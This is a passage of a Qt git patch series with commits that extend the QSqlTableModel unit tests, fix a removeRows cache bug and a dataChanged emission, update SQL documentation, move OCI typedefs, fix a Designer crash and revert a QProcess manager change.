column at 0 and 2 + model.insertColumn(0); + model.insertColumn(2); + + QCOMPARE(model.rowCount(), 3); + QCOMPARE(model.columnCount(), 5); + + QCOMPARE(model.data(model.index(0, 0)), QVariant()); + QCOMPARE(model.data(model.index(0, 1)).toInt(), 1); + QCOMPARE(model.data(model.index(0, 2)), QVariant()); + QCOMPARE(model.data(model.index(0, 3)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(0, 4)).toInt(), 1); + QCOMPARE(model.data(model.index(0, 5)), QVariant()); + + QCOMPARE(model.data(model.index(1, 0)), QVariant()); + QCOMPARE(model.data(model.index(1, 1)).toInt(), 2); + QCOMPARE(model.data(model.index(1, 2)), QVariant()); + QCOMPARE(model.data(model.index(1, 3)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(1, 4)).toInt(), 2); + QCOMPARE(model.data(model.index(1, 5)), QVariant()); + + QCOMPARE(model.data(model.index(2, 0)), QVariant()); + QCOMPARE(model.data(model.index(2, 1)).toInt(), 3); + QCOMPARE(model.data(model.index(2, 2)), QVariant()); + QCOMPARE(model.data(model.index(2, 3)).toString(), QString("vohi")); + QCOMPARE(model.data(model.index(2, 4)).toInt(), 3); + QCOMPARE(model.data(model.index(2, 5)), QVariant()); + + QCOMPARE(model.data(model.index(3, 0)), QVariant()); + QCOMPARE(model.data(model.index(3, 1)), QVariant()); + QCOMPARE(model.data(model.index(3, 2)), QVariant()); + QCOMPARE(model.data(model.index(3, 3)), QVariant()); + QCOMPARE(model.data(model.index(3, 4)), QVariant()); + QCOMPARE(model.data(model.index(3, 5)), QVariant()); +} + void tst_QSqlTableModel::setRecord() { QFETCH(QString, dbName); @@ -339,26 +427,90 @@ void tst_QSqlTableModel::setRecord() void tst_QSqlTableModel::insertRow() { QFETCH(QString, dbName); + QFETCH(int, submitpolicy_i); + QSqlTableModel::EditStrategy submitpolicy = (QSqlTableModel::EditStrategy) submitpolicy_i; QSqlDatabase db = QSqlDatabase::database(dbName); CHECK_DATABASE(db); QSqlTableModel model(0, db); - model.setEditStrategy(QSqlTableModel::OnRowChange); + model.setEditStrategy(submitpolicy); model.setTable(test); model.setSort(0, Qt::AscendingOrder); QVERIFY_SQL(model, select()); + QCOMPARE(model.data(model.index(0, 0)).toInt(), 1); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(0, 2)).toInt(), 1); + QCOMPARE(model.data(model.index(1, 0)).toInt(), 2); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(1, 2)).toInt(), 2); + QCOMPARE(model.data(model.index(2, 0)).toInt(), 3); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); + QCOMPARE(model.data(model.index(2, 2)).toInt(), 3); + QVERIFY(model.insertRow(2)); + + QCOMPARE(model.data(model.index(0, 0)).toInt(), 1); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(0, 2)).toInt(), 1); + QCOMPARE(model.data(model.index(1, 0)).toInt(), 2); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(1, 2)).toInt(), 2); + QCOMPARE(model.data(model.index(2, 0)).toInt(), 0); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(2, 2)).toInt(), 0); + QCOMPARE(model.data(model.index(3, 0)).toInt(), 3); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("vohi")); + QCOMPARE(model.data(model.index(3, 2)).toInt(), 3); + QSqlRecord rec = model.record(1); rec.setValue(0, 42); - rec.setValue(1, QString("vohi")); + rec.setValue(1, QString("francis")); + + // FieldChange updates immediately and resorts + // Row/Manual submit does not resort QVERIFY(model.setRecord(2, rec)); - QCOMPARE(model.data(model.index(2, 0)).toInt(), 42); - QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); - QCOMPARE(model.data(model.index(2, 2)).toInt(), 2); + QCOMPARE(model.data(model.index(0, 0)).toInt(), 1); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(0, 2)).toInt(), 1); + QCOMPARE(model.data(model.index(1, 0)).toInt(), 2); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(1, 2)).toInt(), 2); + + // See comment above setRecord + if (submitpolicy == QSqlTableModel::OnFieldChange) { + QCOMPARE(model.data(model.index(2, 0)).toInt(), 3); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); + QCOMPARE(model.data(model.index(2, 2)).toInt(), 3); + QCOMPARE(model.data(model.index(3, 0)).toInt(), 42); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("francis")); + QCOMPARE(model.data(model.index(3, 2)).toInt(), 2); + } else { + QCOMPARE(model.data(model.index(2, 0)).toInt(), 42); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("francis")); + QCOMPARE(model.data(model.index(2, 2)).toInt(), 2); + QCOMPARE(model.data(model.index(3, 0)).toInt(), 3); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("vohi")); + QCOMPARE(model.data(model.index(3, 2)).toInt(), 3); + } QVERIFY(model.submitAll()); + + // After the submit we should have the resorted view + QCOMPARE(model.data(model.index(0, 0)).toInt(), 1); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(0, 2)).toInt(), 1); + QCOMPARE(model.data(model.index(1, 0)).toInt(), 2); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(1, 2)).toInt(), 2); + QCOMPARE(model.data(model.index(2, 0)).toInt(), 3); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); + QCOMPARE(model.data(model.index(2, 2)).toInt(), 3); + QCOMPARE(model.data(model.index(3, 0)).toInt(), 42); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("francis")); + QCOMPARE(model.data(model.index(3, 2)).toInt(), 2); + } void tst_QSqlTableModel::insertRecord() -- cgit v0.12 From 3bed865c35d8eb920ba5a68276fdf1690c834a64 Mon Sep 17 00:00:00 2001 From: Michael Goddard Date: Wed, 3 Nov 2010 11:58:36 +1000 Subject: Make sure that setRecord emits dataChanged() with OnManualSubmit. Since the change is immediately visible through data(), this is needed so that QSortFilterProxyModel etc work correctly. Change-Id: Ied7afce2e6a1f516b502d3501f9d214df54e52f2 Task-number: QTBUG-14831 Reviewed-by: Charles Yin --- src/sql/models/qsqltablemodel.cpp | 3 +++ tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp | 9 +++++++-- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/src/sql/models/qsqltablemodel.cpp b/src/sql/models/qsqltablemodel.cpp index 6f9c284..61cd1d3 100644 --- a/src/sql/models/qsqltablemodel.cpp +++ b/src/sql/models/qsqltablemodel.cpp @@ -1338,6 +1338,9 @@ bool QSqlTableModel::setRecord(int row, const QSqlRecord &record) else mrow.rec.setValue(idx, record.value(i)); } + + if (isOk) + emit dataChanged(createIndex(row, 0), createIndex(row, columnCount() - 1)); return isOk; } } return false; diff --git a/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp b/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp index 1821d9c..9428ef4 100644 --- a/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp +++ b/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp @@ -402,9 +402,14 @@ void tst_QSqlTableModel::setRecord() rec.setValue(2, rec.value(2).toString() + 'X'); QVERIFY(model.setRecord(i, rec)); - if ((QSqlTableModel::EditStrategy)submitpolicy == QSqlTableModel::OnManualSubmit) + if ((QSqlTableModel::EditStrategy)submitpolicy == QSqlTableModel::OnManualSubmit) { + // setRecord should emit dataChanged() itself for manualSubmit + QCOMPARE(spy.count(), 1); + QCOMPARE(spy.at(0).count(), 2); + QCOMPARE(qvariant_cast(spy.at(0).at(0)), model.index(i, 0)); + QCOMPARE(qvariant_cast(spy.at(0).at(1)), model.index(i, rec.count() - 1)); QVERIFY(model.submitAll()); - else if ((QSqlTableModel::EditStrategy)submitpolicy == QSqlTableModel::OnRowChange && i == model.rowCount() -1) + } else if ((QSqlTableModel::EditStrategy)submitpolicy == QSqlTableModel::OnRowChange && i == model.rowCount() -1) model.submit(); else { // dataChanged() is not emitted when submitAll() is called -- cgit v0.12 From 741a5114c2c6bf4d89068d861db90c456cce371b Mon Sep 17 00:00:00 2001 From: Michael Goddard Date: Wed, 3 Nov 2010 15:45:43 +1000 Subject: Update some documentation about what happens with select()/setQuery(). Change-Id: I5f1afada766d40273526f2cd7537ad68d5f9d09a Task-number: QTBUG-12094 Reviewed-by: Charles Yin --- src/sql/models/qsqlquerymodel.cpp | 2 ++ src/sql/models/qsqltablemodel.cpp | 2 ++ 2 files changed, 4 insertions(+) diff --git a/src/sql/models/qsqlquerymodel.cpp b/src/sql/models/qsqlquerymodel.cpp index 9800e67..fbc31ff 100644 --- a/src/sql/models/qsqlquerymodel.cpp +++ b/src/sql/models/qsqlquerymodel.cpp @@ -310,6 +310,8 @@ void QSqlQueryModel::queryChange() lastError() can be used to retrieve verbose information if there was an error setting the query. + \note Calling setQuery() will remove any inserted columns. + \sa query(), QSqlQuery::isActive(), QSqlQuery::setForwardOnly(), lastError() */ void QSqlQueryModel::setQuery(const QSqlQuery &query) diff --git a/src/sql/models/qsqltablemodel.cpp b/src/sql/models/qsqltablemodel.cpp index 61cd1d3..c6efbad 100644 --- a/src/sql/models/qsqltablemodel.cpp +++ b/src/sql/models/qsqltablemodel.cpp @@ -393,6 +393,8 @@ QString QSqlTableModel::tableName() const specified filter and sort condition, and returns true if successful; otherwise returns false. + \note Calling select() will revert any unsubmitted changes and remove any inserted columns. + \sa setTable(), setFilter(), selectStatement() */ bool QSqlTableModel::select() -- cgit v0.12 From d300e8208928084b62bbde01fb81bd66bc967bc8 Mon Sep 17 00:00:00 2001 From: Michael Goddard Date: Thu, 4 Nov 2010 15:47:51 +1000 Subject: Try to document that invalid database arguments use the default database. Some places documented this, some didn't. Change-Id: Id66678dbcd9af6ec9687db745ba6f5506e951d1d Task-number: QTBUG-3240 Reviewed-by: Charles Yin --- src/sql/kernel/qsqlquery.cpp | 3 ++- src/sql/models/qsqlquerymodel.cpp | 3 ++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/src/sql/kernel/qsqlquery.cpp b/src/sql/kernel/qsqlquery.cpp index 4b92a3e..3cdc8b1 100644 --- a/src/sql/kernel/qsqlquery.cpp +++ b/src/sql/kernel/qsqlquery.cpp @@ -272,7 +272,7 @@ static void qInit(QSqlQuery *q, const QString& query, QSqlDatabase db) /*! Constructs a QSqlQuery object using the SQL \a query and the - database \a db. If \a db is not specified, the application's + database \a db. If \a db is not specified, or is invalid, the application's default database is used. If \a query is not an empty string, it will be executed. @@ -286,6 +286,7 @@ QSqlQuery::QSqlQuery(const QString& query, QSqlDatabase db) /*! Constructs a QSqlQuery object using the database \a db. + If \a db is invalid, the application's default database will be used. \sa QSqlDatabase */ diff --git a/src/sql/models/qsqlquerymodel.cpp b/src/sql/models/qsqlquerymodel.cpp index fbc31ff..d1051de 100644 --- a/src/sql/models/qsqlquerymodel.cpp +++ b/src/sql/models/qsqlquerymodel.cpp @@ -376,7 +376,8 @@ void QSqlQueryModel::setQuery(const QSqlQuery &query) /*! \overload Executes the query \a query for the given database connection \a - db. If no database is specified, the default connection is used. + db. If no database (or an invalid database) is specified, the + default connection is used. lastError() can be used to retrieve verbose information if there was an error setting the query. -- cgit v0.12 From 594e46bdd36d2964c20cbc5a8de32abd5e343f43 Mon Sep 17 00:00:00 2001 From: Michael Goddard Date: Thu, 4 Nov 2010 16:34:02 +1000 Subject: Mention the requirement for OCI when building the SQL oracle driver. As suggested by Jean-Louis Mounier. Change-Id: I2284d00453ddcb981fe3e1b710d4453323fe1e9e Task-number: QTBUG-8875 Reviewed-by: Charles Yin --- doc/src/sql-programming/sql-driver.qdoc | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/doc/src/sql-programming/sql-driver.qdoc b/doc/src/sql-programming/sql-driver.qdoc index 1476491..a4bcb97 100644 --- a/doc/src/sql-programming/sql-driver.qdoc +++ b/doc/src/sql-programming/sql-driver.qdoc @@ -314,7 +314,9 @@ \section3 How to Build the OCI Plugin on Windows Choosing the option "Programmer" in the Oracle Client Installer from - the Oracle Client Installation CD is sufficient to build the plugin. + the Oracle Client Installation CD is generally sufficient to build the + plugin. For some versions of Oracle Client, you may also need to select + the "Call Interface (OCI)" option if it is available. Build the plugin as follows (here it is assumed that Oracle Client is installed in \c{C:\oracle}): -- cgit v0.12 From bdd4a9149789f60974603e1f7621d51378f0a108 Mon Sep 17 00:00:00 2001 From: Michael Goddard Date: Wed, 17 Nov 2010 17:30:40 +1000 Subject: Fix some removeRows issues with QSqlTableModel. Added some better unit testing around the problem areas. Change-Id: Ie4749da298aebbae6aec9558ebe8c8f2196c705f Task-number: QTBUG-14916 Reviewed-by: Charles Yin --- src/sql/models/qsqltablemodel.cpp | 7 +- tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp | 175 ++++++++++++++++++++--- 2 files changed, 158 insertions(+), 24 deletions(-) diff --git a/src/sql/models/qsqltablemodel.cpp b/src/sql/models/qsqltablemodel.cpp index c6efbad..4df1d63 100644 --- a/src/sql/models/qsqltablemodel.cpp +++ b/src/sql/models/qsqltablemodel.cpp @@ -1103,9 +1103,12 @@ bool QSqlTableModel::removeRows(int row, int count, const QModelIndex &parent) int idx = row + i; if (idx >= rowCount()) return false; - if (d->cache.value(idx).op == QSqlTableModelPrivate::Insert) + if (d->cache.value(idx).op == QSqlTableModelPrivate::Insert) { revertRow(idx); - else { + // Reverting a row means all the other cache entries have been adjusted downwards + // so fake this by adjusting row + --row; + } else { d->cache[idx].op = QSqlTableModelPrivate::Delete; d->cache[idx].primaryValues = d->primaryValues(indexInQuery(createIndex(idx, 0)).row()); emit headerDataChanged(Qt::Vertical, idx, idx); diff --git a/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp b/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp index 9428ef4..f7d2180 100644 --- a/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp +++ b/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp @@ -94,8 +94,10 @@ private slots: void removeRow(); void removeRows_data() { generic_data(); } void removeRows(); - void removeInsertedRow_data() { generic_data(); } + void removeInsertedRow_data() { generic_data_with_strategies(); } void removeInsertedRow(); + void removeInsertedRows_data() { generic_data(); } + void removeInsertedRows(); void setFilter_data() { generic_data(); } void setFilter(); void setInvalidFilter_data() { generic_data(); } @@ -695,10 +697,19 @@ void tst_QSqlTableModel::removeRows() QCOMPARE(model.rowCount(), 3); QSignalSpy beforeDeleteSpy(&model, SIGNAL(beforeDelete(int))); + + // Make sure wrong stuff is ok + QVERIFY(!model.removeRows(-1,1)); // negative start + QVERIFY(!model.removeRows(-1, 0)); // negative start, and zero count + QVERIFY(!model.removeRows(1, 0)); // zero count + QVERIFY(!model.removeRows(5, 1)); // past end (causes a beforeDelete to be emitted) + QVERIFY(!model.removeRows(1, 0, model.index(2, 0))); // can't pass a valid modelindex + QVERIFY_SQL(model, removeRows(0, 2)); - QVERIFY(beforeDeleteSpy.count() == 2); - QVERIFY(beforeDeleteSpy.at(0).at(0).toInt() == 0); - QVERIFY(beforeDeleteSpy.at(1).at(0).toInt() == 1); + QCOMPARE(beforeDeleteSpy.count(), 3); + QVERIFY(beforeDeleteSpy.at(0).at(0).toInt() == 5); + QVERIFY(beforeDeleteSpy.at(1).at(0).toInt() == 0); + QVERIFY(beforeDeleteSpy.at(2).at(0).toInt() == 1); QCOMPARE(model.rowCount(), 1); QCOMPARE(model.data(model.index(0, 1)).toString(), QString("vohi")); model.clear(); @@ -712,6 +723,13 @@ void tst_QSqlTableModel::removeRows() // When the edit strategy is OnManualSubmit the beforeDelete() signal // isn't emitted until submitAll() is called. + + QVERIFY(!model.removeRows(-1,1)); // negative start + QVERIFY(!model.removeRows(-1, 0)); // negative start, and zero count + QVERIFY(!model.removeRows(1, 0)); // zero count + QVERIFY(!model.removeRows(5, 1)); // past end (DOESN'T cause a beforeDelete to be emitted) + QVERIFY(!model.removeRows(1, 0, model.index(2, 0))); // can't pass a valid modelindex + qRegisterMetaType("Qt::Orientation"); QSignalSpy headerDataChangedSpy(&model, SIGNAL(headerDataChanged(Qt::Orientation, int, int))); QVERIFY(model.removeRows(0, 2, QModelIndex())); @@ -733,33 +751,146 @@ void tst_QSqlTableModel::removeRows() void tst_QSqlTableModel::removeInsertedRow() { QFETCH(QString, dbName); + QFETCH(int, submitpolicy_i); + QSqlTableModel::EditStrategy submitpolicy = (QSqlTableModel::EditStrategy) submitpolicy_i; QSqlDatabase db = QSqlDatabase::database(dbName); CHECK_DATABASE(db); - for (int i = 0; i <= 1; ++i) { + QSqlTableModel model(0, db); + model.setTable(test); + model.setSort(0, Qt::AscendingOrder); - QSqlTableModel model(0, db); - model.setTable(test); - model.setSort(0, Qt::AscendingOrder); + model.setEditStrategy(submitpolicy); + QVERIFY_SQL(model, select()); + QCOMPARE(model.rowCount(), 3); - model.setEditStrategy(i == 0 - ? QSqlTableModel::OnRowChange : QSqlTableModel::OnManualSubmit); - QVERIFY_SQL(model, select()); - QCOMPARE(model.rowCount(), 3); + QVERIFY(model.insertRow(1)); + QCOMPARE(model.rowCount(), 4); - QVERIFY(model.insertRow(1)); - QCOMPARE(model.rowCount(), 4); + QVERIFY(model.removeRow(1)); + QCOMPARE(model.rowCount(), 3); - QVERIFY(model.removeRow(1)); - QCOMPARE(model.rowCount(), 3); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); +} - QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); - QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); - QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); - model.clear(); +void tst_QSqlTableModel::removeInsertedRows() +{ + QFETCH(QString, dbName); + QSqlDatabase db = QSqlDatabase::database(dbName); + CHECK_DATABASE(db); - recreateTestTables(); - } + QSqlTableModel model(0, db); + model.setTable(test); + model.setSort(0, Qt::AscendingOrder); + model.setEditStrategy(QSqlTableModel::OnManualSubmit); // you can't insert more than one row otherwise + QVERIFY_SQL(model, select()); + QCOMPARE(model.rowCount(), 3); + + // First put two empty rows, and remove them one by one + QVERIFY(model.insertRows(1, 2)); + QCOMPARE(model.rowCount(), 5); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi")); + + QVERIFY(model.removeRow(1)); + QCOMPARE(model.rowCount(), 4); + + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("vohi")); + + QVERIFY(model.removeRow(1)); + QCOMPARE(model.rowCount(), 3); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); + + // Now put two empty rows, and remove them all at once + QVERIFY(model.insertRows(1, 2)); + QCOMPARE(model.rowCount(), 5); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi")); + + QVERIFY(model.removeRows(1, 2)); + QCOMPARE(model.rowCount(), 3); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); + + + // Now put two empty rows, and remove one good and two empty + QVERIFY(model.insertRows(1, 2)); + QCOMPARE(model.rowCount(), 5); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi")); + + QVERIFY(model.removeRows(0, 3)); + QVERIFY(model.submitAll()); // otherwise the remove of the real row doesn't work + + QCOMPARE(model.rowCount(), 2); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("vohi")); + + // Reset back again + model.clear(); + recreateTestTables(); + model.setTable(test); + model.setSort(0, Qt::AscendingOrder); + model.setEditStrategy(QSqlTableModel::OnManualSubmit); // you can't insert more than one row otherwise + QVERIFY_SQL(model, select()); + QCOMPARE(model.rowCount(), 3); + + // Now two empty and one good + QVERIFY(model.insertRows(1, 2)); + QCOMPARE(model.rowCount(), 5); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi")); + + QVERIFY(model.removeRows(1, 3)); + QVERIFY(model.submitAll()); + QCOMPARE(model.rowCount(), 2); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("vohi")); + + // Reset back again + model.clear(); + recreateTestTables(); + model.setTable(test); + model.setSort(0, Qt::AscendingOrder); + model.setEditStrategy(QSqlTableModel::OnManualSubmit); // you can't insert more than one row otherwise + QVERIFY_SQL(model, select()); + QCOMPARE(model.rowCount(), 3); + + // one empty, one good, one empty + QVERIFY(model.insertRows(1, 1)); + QVERIFY(model.insertRows(3, 1)); + QCOMPARE(model.rowCount(), 5); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi")); + + QVERIFY(model.removeRows(1, 3)); + QVERIFY(model.submitAll()); + QCOMPARE(model.rowCount(), 2); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("vohi")); } void tst_QSqlTableModel::emptyTable() -- cgit v0.12 From 47a134b9a9136dc961dc5dd07e345aeb94b2d401 Mon Sep 17 00:00:00 2001 From: Michael Goddard Date: Thu, 3 Feb 2011 12:33:27 +1000 Subject: Namespace compilation - OCI typedefs should be outside Qt namespace. psql, sqlite2 drivers already do this correctly. Change-Id: I1f02401432d5c39fa1572e2f6255941b8a67e591 Task-number: QTBUG-17076 Reviewed-by: Charles Yin --- src/sql/drivers/oci/qsql_oci.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/sql/drivers/oci/qsql_oci.h b/src/sql/drivers/oci/qsql_oci.h index 51fd14c..22bd78d 100644 --- a/src/sql/drivers/oci/qsql_oci.h +++ b/src/sql/drivers/oci/qsql_oci.h @@ -54,6 +54,9 @@ QT_BEGIN_HEADER +typedef struct OCIEnv OCIEnv; +typedef struct OCISvcCtx OCISvcCtx; + QT_BEGIN_NAMESPACE class QOCIDriver; @@ -61,9 +64,6 @@ class QOCICols; struct QOCIDriverPrivate; struct QOCIResultPrivate; -typedef struct OCIEnv OCIEnv; -typedef struct OCISvcCtx OCISvcCtx; - class Q_EXPORT_SQLDRIVER_OCI QOCIResult : public QSqlCachedResult { friend class QOCIDriver; -- cgit v0.12 From 7ced970542d1532fb9613897bc99828178aac5fe Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Fri, 4 Feb 2011 16:57:16 +1000 Subject: Initialize primitives when creating a new QVariant Change-Id: Ib9a089a9d912acac4d40c3a1e36e08e86d7832aa Task-number: QTBUG-16683 Reviewed-by: Olivier Goffart --- src/corelib/kernel/qmetatype.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/corelib/kernel/qmetatype.h b/src/corelib/kernel/qmetatype.h index 26249ab..8eeee30 100644 --- a/src/corelib/kernel/qmetatype.h +++ b/src/corelib/kernel/qmetatype.h @@ -138,7 +138,7 @@ template void *qMetaTypeConstructHelper(const T *t) { if (!t) - return new T; + return new T(); return new T(*static_cast(t)); } -- cgit v0.12 From dd7873cd7e02e42b384709f33a34f69bc06fb25d Mon Sep 17 00:00:00 2001 From: Friedemann Kleint Date: Fri, 4 Feb 2011 09:28:58 +0100 Subject: Designer: Fix a crash in the Signal-Slot-Editor. Object search found deleted widgets by name when searching on the form window. Search main container instead, do not assert. Reviewed-by: Jarek Kobus Task-number: QTBUG-17179 --- .../signalsloteditor/signalslot_utils.cpp | 22 ++++++++++------------ .../signalsloteditor/signalsloteditorwindow.cpp | 2 +- 2 files changed, 11 insertions(+), 13 deletions(-) diff --git a/tools/designer/src/components/signalsloteditor/signalslot_utils.cpp b/tools/designer/src/components/signalsloteditor/signalslot_utils.cpp index aecd1e5..d0af770 100644 --- a/tools/designer/src/components/signalsloteditor/signalslot_utils.cpp +++ b/tools/designer/src/components/signalsloteditor/signalslot_utils.cpp @@ -72,7 +72,6 @@ static void memberList(QDesignerFormEditorInterface *core, { if (!object) return; - // 1) member sheet const QDesignerMemberSheetExtension *members = qt_extension(core->extensionManager(), object); Q_ASSERT(members != 0); @@ -118,15 +117,15 @@ static void memberList(QDesignerFormEditorInterface *core, if (!metaDataBase) return; - const qdesigner_internal::MetaDataBaseItem *mdbItem = metaDataBase->metaDataBaseItem(object); - Q_ASSERT(mdbItem); - const QStringList mdbFakeMethods = member_type == qdesigner_internal::SlotMember ? mdbItem->fakeSlots() : mdbItem->fakeSignals(); - if (!mdbFakeMethods.empty()) - foreach (const QString &fakeMethod, mdbFakeMethods) - if (predicate(fakeMethod)) { - *it = ClassNameSignaturePair(className, fakeMethod); - ++it; - } + if (const qdesigner_internal::MetaDataBaseItem *mdbItem = metaDataBase->metaDataBaseItem(object)) { + const QStringList mdbFakeMethods = member_type == qdesigner_internal::SlotMember ? mdbItem->fakeSlots() : mdbItem->fakeSignals(); + if (!mdbFakeMethods.empty()) + foreach (const QString &fakeMethod, mdbFakeMethods) + if (predicate(fakeMethod)) { + *it = ClassNameSignaturePair(className, fakeMethod); + ++it; + } + } } namespace { @@ -245,10 +244,9 @@ namespace qdesigner_internal { ClassesMemberFunctions reverseClassesMemberFunctions(const QString &obj_name, MemberType member_type, const QString &peer, QDesignerFormWindowInterface *form) { - QObject *object = qFindChild(form, obj_name); + QObject *object = qFindChild(form->mainContainer(), obj_name); if (!object) return ClassesMemberFunctions(); - QDesignerFormEditorInterface *core = form->core(); ClassesMemberFunctions rc; diff --git a/tools/designer/src/components/signalsloteditor/signalsloteditorwindow.cpp b/tools/designer/src/components/signalsloteditor/signalsloteditorwindow.cpp index ecee08e..831649f 100644 --- a/tools/designer/src/components/signalsloteditor/signalsloteditorwindow.cpp +++ b/tools/designer/src/components/signalsloteditor/signalsloteditorwindow.cpp @@ -658,7 +658,7 @@ QWidget *ConnectionDelegate::createEditor(QWidget *parent, const qdesigner_internal::ClassesMemberFunctions class_list = qdesigner_internal::reverseClassesMemberFunctions(obj_name, type, peer, m_form); - QObject *object = qFindChild(m_form, obj_name); + QObject *object = qFindChild(m_form->mainContainer(), obj_name); inline_editor->addText(type == qdesigner_internal::SignalMember ? tr("") : tr("")); foreach (const qdesigner_internal::ClassMemberFunctions &class_info, class_list) { -- cgit v0.12 From d9c06bf25210b3d0b31ee6126e57bcb82c292da1 Mon Sep 17 00:00:00 2001 From: Harald Fernengel Date: Fri, 4 Feb 2011 10:46:01 +0100 Subject: Revert "Delay creation of the process manager" This reverts commit daba2c507ad42c66dafa6a29cffa94e9641e0c58. There's a potential deadlock when a QProcess is created while a QCoreApplication is instantiated but never executed, or if the main thread waits() for the child thread. --- src/corelib/io/qprocess_unix.cpp | 30 ++++-------------------------- src/corelib/kernel/qcoreapplication.cpp | 18 ++++++------------ src/corelib/kernel/qcoreapplication.h | 1 - src/corelib/kernel/qcoreapplication_p.h | 2 -- 4 files changed, 10 insertions(+), 41 deletions(-) diff --git a/src/corelib/io/qprocess_unix.cpp b/src/corelib/io/qprocess_unix.cpp index b120f7f..f9f5362 100644 --- a/src/corelib/io/qprocess_unix.cpp +++ b/src/corelib/io/qprocess_unix.cpp @@ -169,27 +169,17 @@ private: Q_GLOBAL_STATIC(QMutex, processManagerGlobalMutex) -static QProcessManager *processManagerInstance = 0; - -static QProcessManager *processManager() -{ +static QProcessManager *processManager() { // The constructor of QProcessManager should be called only once // so we cannot use Q_GLOBAL_STATIC directly for QProcessManager QMutex *mutex = processManagerGlobalMutex(); QMutexLocker locker(mutex); - - if (!processManagerInstance) - QProcessPrivate::initializeProcessManager(); - - Q_ASSERT(processManagerInstance); - return processManagerInstance; + static QProcessManager processManager; 